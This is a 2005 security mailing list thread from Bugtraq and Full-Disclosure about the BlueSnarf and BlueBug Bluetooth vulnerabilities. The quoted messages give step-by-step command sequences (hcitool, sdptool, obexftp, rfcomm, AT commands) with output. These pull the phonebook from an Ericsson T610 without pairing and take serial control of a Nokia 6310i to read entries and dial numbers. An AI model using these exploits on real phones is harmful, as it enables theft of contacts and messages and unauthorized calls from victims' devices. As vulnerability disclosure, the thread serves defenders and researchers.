bugtraq - Re: Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore

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Message-ID: <41E1C6A1.5080901@vdbmusic.com>
Date: Sun, 09 Jan 2005 19:04:49 -0500
From: Scott Renna <srenna@...music.com>
To: Eric Detoisien <eric-mailing@...b-internet.fr>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Subject: Re: Re: Bluetooth: BlueSnarf and BlueBug
	Full	Disclusore


When I saw Adam's announcement a while back on these issues, I wrote a 
paper up for SANS.  Describes running the attack on FreeBSD based system 
against a T610.  Check out:

http://www.giac.org/practical/GCIA/Scott_Renna_GCIA.pdf



Eric Detoisien wrote:
> An easy way to get phonebook on Ericsson T610 via bluetooth without pairing  :
> 
> tough:~# hcitool scan
>  Scanning ...
>         00:0A:D9:XX:XX:XX       T610
> 
> tough:~# sdptool browse 00:0A:D9:XX:XX:XX
>  Browsing 00:0A:D9:XX:XX:XX ...
> [...]
> Service Name: OBEX Object Push
>  Service RecHandle: 0x10005
>  Service Class ID List:
>    "OBEX Object Push" (0x1105)
>  Protocol Descriptor List:
>    "L2CAP" (0x0100)
>    "RFCOMM" (0x0003)
>      Channel: 10 -----------------------> only RFCOMM channels 10 and 15 are open
>    "OBEX" (0x0008)
>  Profile Descriptor List:
>    "OBEX Object Push" (0x1105)
>      Version: 0x0100
> [...]
> Service Name: OBEX Basic Imaging
>  Service RecHandle: 0x1000b
>  Service Class ID List:
>    "" (0x111b)
>  Protocol Descriptor List:
>    "L2CAP" (0x0100)
>    "RFCOMM" (0x0003)
>      Channel: 15
>    "OBEX" (0x0008)
>  Profile Descriptor List:
>    "" (0x111a)
>      Version: 0x0100
> [...]
> 
> tough:~# obexftp -b 00:0A:D9:XX:XX:XX -B 10 -g telecom/pb.vcf 
>  Browsing 00:0A:D9:FA:03:B7 ...
>  Channel: 7
>  No custom transport
>  Connecting...bt: 1
>  done
>  Receiving telecom/pb.vcf.../done
>  Disconnecting...done
> 
> 
> Eric Detoisien
> 
> 
> 
>>The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
>>Nokia phones. It allows attacker to create serial profile connection without
>>pairing or asking for permission, therefore it gives unauthorized access to all
>>AT commands. It is possible to read/delete/send SMS messages, add/view/delete
>>phonebook entries, change call diverts, initiate voice or data call.
>>
>>Demonstration on Nokia 6310i:
>>
>>laptop:~# hcitool scan
>>Scanning ...
>>         00:60:57:38:8C:D8       Nokia 6310i
>>laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
>>
>>Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
>>example:
>>
>>laptop:~# cu -l rfcomm0 -s 9600
>>Connected.
>>[ATE1]
>>OK
>>ATI
>>Nokia
>>
>>OK
>>AT+CPBS?
>>+CPBS: "SM",0,100
>>
>>OK
>>AT+CPBR=?
>>+CPBR: (1-100),48,18
>>
>>OK
>>ATDT+48609xxxxxx
>>OK
>>
>>As you can see, the bug is really trivial and looks rather like backdoor.
>>
>>[1] - http://www.thebunker.net/security/bluetooth.htm
>>[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
>>[3] - http://www.gnokii.org/
>>
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
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